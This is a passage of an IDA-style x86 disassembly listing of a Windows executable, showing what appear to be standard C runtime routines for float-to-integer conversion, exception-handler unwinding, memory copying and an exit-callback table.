sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43CF84, offset sub_421935
mov off_43CF80, eax
mov off_43CF88, offset sub_42199B
mov off_43CF8C, offset sub_4218DB
mov off_43CF90, offset sub_421983
mov off_43CF94, eax
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D031+1Bp
; sub_40D031+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07D+82p
; ___:0040DD3Dp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A988
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBA04
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A98C
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A98C
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07D+5p
; sub_40D21F+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B4+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D725+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78C+34p
; sub_40D78C+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DCFFC
call sub_422608
mov edx, dword_4DCFFC
pop ecx
mov ecx, dword_4DCFF8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DCFFC
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DCFF8
sub ecx, dword_4DCFFC
mov dword_4DCFFC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DCFF8, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DCFF8, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D879+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DCFFC, eax
jnz short loc_41D073
push 18h
call sub_41DA29
mov eax, dword_4DCFFC
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DCFFC
mov dword_4DCFF8, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Cp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
